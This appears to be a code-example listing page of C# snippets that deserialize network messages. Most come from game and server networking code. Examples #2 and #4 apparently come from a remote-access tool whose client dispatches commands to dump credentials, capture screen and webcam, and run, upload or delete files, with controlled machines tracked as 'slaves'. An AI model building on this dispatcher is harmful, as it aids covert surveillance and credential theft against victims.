Exemple #1
0
        private void DoReceiveInMain()
        {
            m_RecvBufQueue.Switch();

            while (!m_RecvBufQueue.Empty())
            {
                var recvBufferRaw = m_RecvBufQueue.Pop();
                int ret           = m_Kcp.Input(recvBufferRaw, recvBufferRaw.Length);

                //收到的不是一个正确的KCP包
                if (ret < 0)
                {
                    Debuger.LogError("收到不正确的KCP包!Ret:{0}", ret);
                    return;
                }

                m_NeedKcpUpdateFlag = true;

                for (int size = m_Kcp.PeekSize(); size > 0; size = m_Kcp.PeekSize())
                {
                    var recvBuffer = new byte[size];
                    if (m_Kcp.Recv(recvBuffer) > 0)
                    {
                        NetMessage msg = new NetMessage();
                        msg.Deserialize(recvBuffer, size);

                        m_listener.OnReceive(this, msg);
                    }
                }
            }
        }
Exemple #2
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void ClientReceive(object sender, NetMQSocketEventArgs e)
        {
            UpdateLastReceived();
            SetConnected();

            var frames  = m_client.ReceiveMultipartMessage();
            var message = NetMessage.Deserialize(frames[0].Buffer);

            message.Match()
            .With <DoYourDutyMessage>(DoYourDuty)
            .With <PingMessage>(m => Send(new PongMessage()))
            .With <NavigateToFolderMessage>(NavigateToFolder)
            .With <DownloadFilePartMessage>(DownloadFilePart)
            .With <UploadFileMessage>(UploadFile)
            .With <DeleteFileMessage>(DeleteFile)
            .With <StartScreenCaptureMessage>(ScreenCapture.Instance.StartScreenCapture)
            .With <StopScreenCaptureMessage>(ScreenCapture.Instance.StopScreenCapture)
            .With <ExecuteFileMessage>(ExecuteFile)
            .With <StartCredentialsMessage>(DumpCredentials)
            .With <StartWebcamCaptureMessage>(Webcam.Instance.StartScreenCapture)
            .With <StopWebcamCaptureMessage>(Webcam.Instance.StopScreenCapture)
            .Default(m => SendFailedStatus(message.WindowId, "Message parsing", $"Unknow message {m.GetType().Name}"));

#if DEBUG
            if (message.GetType() != typeof(PingMessage))
            {
                Console.WriteLine(message.GetType().Name);
            }
#endif
        }
Exemple #3
0
        public void OnReceive(ISession session, byte[] bytes, int len)
        {
            NetMessage msg = new NetMessage();

            msg.Deserialize(bytes, len);

            if (session.IsAuth())
            {
                if (msg.head.cmd == 0)
                {
                    RPCMessage rpcmsg = PBSerializer.NDeserialize <RPCMessage>(msg.content);
                    HandleRPCMessage(session, rpcmsg);
                }
                else
                {
                    HandlePBMessage(session, msg);
                }
            }
            else
            {
                if (msg.head.cmd == m_authCmd)
                {
                    HandlePBMessage(session, msg);
                }
                else
                {
                    Debuger.LogWarning("收到未鉴权的消息! cmd:{0}", msg.head.cmd);
                }
            }
        }
Exemple #4
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void Server_ReceiveReady(object sender, NetMQSocketEventArgs e)
        {
            NetMQMessage mqmessage = null;

            if (!e.Socket.TryReceiveMultipartMessage(ref mqmessage))
            {
                return;
            }

            var identity = mqmessage.First.Buffer;
            var clientId = BitConverter.ToInt32(identity, 1);
            var message  = NetMessage.Deserialize(mqmessage.Last.Buffer);

            Slave slave;

            if (!m_slaveById.ContainsKey(clientId))
            {
                m_slaveById.Add(clientId, slave = new Slave(identity, clientId));
            }
            else
            {
                slave = m_slaveById[clientId];
            }

            FireSlaveIncommingMessage(slave, message);
        }
        public void OnReceive(ISession session, byte[] bytes, int len)
        {
            NetMessage msg = new NetMessage();

            msg.Deserialize(bytes, len);
            if (session.IsAuth())
            {
                if (msg.Head.cmd == 0) //RPC
                {
                    RPCMessage rpcMessage = ProtoBuffUtility.Deserialize <RPCMessage>(msg.content);
                    HandleRPCMessage(session, rpcMessage);
                }
                else //Proto
                {
                    HandlePrptoMessage(session, msg);
                }
            }
            else
            {
                if (msg.Head.cmd == authCmd)
                {
                    HandlePrptoMessage(session, msg);
                }
                else
                {
                    Debuger.LogWarning("收到未授权的消息! cmd:{0}", msg.Head.cmd);
                }
            }
        }
Exemple #6
0
        private void DoReceiveInMain()
        {
            //主线程
            m_RecvBufQueue.Switch();

            while (!m_RecvBufQueue.Empty())
            {
                var recvBufferRaw = m_RecvBufQueue.Pop();
                int ret           = m_Kcp.Input(recvBufferRaw, recvBufferRaw.Length);

                //收到的不是一个正确的KCP包
                if (ret < 0)
                {
                    Debuger.LogError("收到不正确的KCP包!Ret:{0}", ret);
                    return;
                }

                m_NeedKcpUpdateFlag = true;

                for (int size = m_Kcp.PeekSize(); size > 0; size = m_Kcp.PeekSize())
                {
                    var recvBuffer = new byte[size];
                    if (m_Kcp.Recv(recvBuffer) > 0)
                    {
                        NetMessage msg = new NetMessage();
                        msg.Deserialize(recvBuffer, size);


                        if (msg.head.sid == 0)
                        {
                            var errmsg = PBSerializer.NDeserialize <NetErrorMessage>(msg.content);
                            this.LogWarning("服务器返回错误:{0},{1}", errmsg.code, errmsg.info);

                            HandleServerError(errmsg.code);

                            onServerError.InvokeSafe(this, errmsg.code, errmsg.info);
                        }
                        else
                        {
                            //更新SessionId
                            if (Id != msg.head.sid)
                            {
                                Id      = msg.head.sid;
                                LOG_TAG = "KcpConnection[" + Id + "," + m_localPort + "]";
                                this.LogWarning("SessionId发生变化:{0}", Id);
                            }

                            onReceive.InvokeSafe(msg);
                        }
                    }
                }
            }
        }
Exemple #7
0
        static void Main(string[] args)
        {
            var msg = new IdentificationMessage()
            {
                Username = "******",
                Password = "******",
            };

            var bytes = msg.Serialize();

            var msg1 = NetMessage.Deserialize(bytes);
        }
Exemple #8
0
        private void OnReceiveCompleted(object sender, SocketAsyncEventArgs e)
        {
            this.LogVerbose(e.SocketError.ToString());

            if (e.SocketError != SocketError.Success)
            {
                Disconnect();
                OnReceiveError((int)NetErrorCode.UnkownError, e.SocketError.ToString());
                return;
            }

            if (e.BytesTransferred < 1)
            {
                Disconnect();
                OnReceiveError((int)NetErrorCode.UnkownError, "收到的字节为0");
                return;
            }

            if (m_bufferReceive.Capacity < m_bufferReceive.Length + e.BytesTransferred)
            {
                //扩容
                m_bufferReceive.AdjustCapacity((m_bufferReceive.Length + e.BytesTransferred) * 2);
            }

            m_bufferReceive.SetPositionToLength();
            m_bufferReceive.WriteBytes(e.Buffer, 0, e.BytesTransferred);

            this.LogVerbose("Received Length:{0}", m_bufferReceive.Length);

            while (m_bufferReceive.Length > 0)
            {
                m_bufferReceive.Position = 0;

                NetMessage msg = new NetMessage();
                if (msg.Deserialize(m_bufferReceive))
                {
                    m_bufferReceive.Arrangement();
                    lock (m_queueReceive)
                    {
                        m_queueReceive.Enqueue(msg);
                    }
                }
                else
                {
                    this.LogVerbose("Cannot Deserialize One Message!");
                    break;
                }
            }


            ReceiveInternal();
        }
Exemple #9
0
        private void ReadCallback(IAsyncResult ar)
        {
            TcpClient tcp = (TcpClient)ar.AsyncState;

            try
            {
                NetMessage    remote   = this.Clients.First(c => c.Value.Equals(tcp)).Key;
                NetworkStream inStream = tcp.GetStream();
                int           count    = inStream.EndRead(ar);

                if (count <= 0)
                {
                    return;
                }

                //converte os bytes para o tipo RemoteClient
                var tempBuffer = new byte[count];
                Buffer.BlockCopy(this.bufferIn, 0, tempBuffer, 0, count);
                remote = NetMessage.Deserialize(tempBuffer);

                this.Clients.First(c => c.Value.Equals(tcp)).Key.Type = remote.Type;

                switch (remote.Type)
                {
                case NetMessageType.Update:
                    Broadcast(remote);
                    break;

                case NetMessageType.ClientReady:
                    break;

                case NetMessageType.Disconnect:
                    this.Clients.Remove(remote);
                    break;
                }

                //Console.WriteLine("Recebido: {0}", remote.ToString());

                inStream.BeginRead(this.bufferIn, 0, tcp.ReceiveBufferSize, ReadCallback, tcp);
            }
            catch (Exception)
            {
                //Console.WriteLine("Cliente desconectado!");
                lock (this.Clients)
                {
                    this.Clients.Remove(this.Clients.FirstOrDefault(c => c.Value.Equals(tcp)).Key);
                }
            }
        }
        private void OnReceive(byte[] bytes, int len)
        {
            NetMessage msg = new NetMessage();

            msg.Deserialize(bytes, len);
            if (msg.Head.cmd == 0)
            {
                RPCMessage rpcmsg = ProtoBuffUtility.Deserialize <RPCMessage>(msg.content);
                HandleRPCMessage(rpcmsg);
            }
            else
            {
                HandlePrptoMessage(msg);
            }
        }
Exemple #11
0
        private void OnReceive(byte[] bytes, int len)
        {
            NetMessage msg = new NetMessage();

            msg.Deserialize(bytes, len);

            if (msg.head.cmd == 0)
            {
                RPCMessage rpcmsg = PBSerializer.NDeserialize <RPCMessage>(msg.content);
                HandleRPCMessage(rpcmsg);
            }
            else
            {
                HandlePBMessage(msg);
            }
        }
Exemple #12
0
        private void OnReceiveCompleted(object sender, SocketAsyncEventArgs e)
        {
            this.LogVerbose(e.SocketError.ToString());

            if (e.SocketError != SocketError.Success)
            {
                this.LogWarning("接收出错!{0}", e.SocketError);
                onReceiveError.InvokeSafe(this, (int)NetErrorCode.SocketError, e.SocketError.ToString());
                ReceiveInternal();
                return;
            }

            if (e.BytesTransferred < 1)
            {
                this.LogWarning("接收出错!{0}", e.SocketError);
                onReceiveError.InvokeSafe(this, (int)NetErrorCode.SocketError, e.SocketError.ToString());
                ReceiveInternal();
                return;
            }


            m_bufferReceive.Attach(e.Buffer, e.BytesTransferred);
            NetMessage msg = new NetMessage();

            if (msg.Deserialize(m_bufferReceive))
            {
                lock (m_queueReceive)
                {
                    m_queueReceive.Enqueue(msg);
                }
            }
            else
            {
                this.LogError("反序列化失败!");
                onReceiveError.InvokeSafe(this, (int)NetErrorCode.DeserializeError, "反序列化失败");
            }

            ReceiveInternal();
        }
Exemple #13
0
        private void OnReceiveCompleted(object sender, SocketAsyncEventArgs e)
        {
            this.Log(e.SocketError.ToString());

            if (e.SocketError != SocketError.Success)
            {
                this.LogWarning(e.SocketError.ToString());
            }
            else
            {
                if (e.BytesTransferred == 0)
                {
                    this.LogWarning("收到的数据长度为0");
                }
                else
                {
                    m_bufferReceive.Attach(e.Buffer, e.BytesTransferred);
                    NetMessage msg = new NetMessage();
                    if (msg.Deserialize(m_bufferReceive))
                    {
                        lock (m_mapSession)
                        {
                            UdpSession session = null;

                            if (msg.head.sid == 0)
                            {
                                session = new UdpSession(NewSessionID(), m_pool, m_listener);
                                m_mapSession.Add(session.Id, session);
                            }
                            else
                            {
                                session = m_mapSession[msg.head.sid];
                                if (session == null)
                                {
                                    //对于UDP,可以重新分配SessionId
                                    session = new UdpSession(NewSessionID(), m_pool, m_listener);
                                    m_mapSession.Add(session.Id, session);
                                }
                            }


                            if (session != null)
                            {
                                session.Active(m_socket, (IPEndPoint)e.RemoteEndPoint);
                                session.DoReceiveInGateway(msg);
                            }
                            else
                            {
                                this.LogWarning("无效的包! sid:{0}", msg.head.sid);
                                //需要返回给客户端,Session无效了
                                UdpSession.ReturnErrorMessage(m_socket, (IPEndPoint)e.RemoteEndPoint,
                                                              NetErrorCode.SessionExpire, "Session Expired!");
                            }
                        }
                    }
                    else
                    {
                        this.LogError("反序列化失败!");
                    }
                }
            }

            this.ReceiveAsync();
        }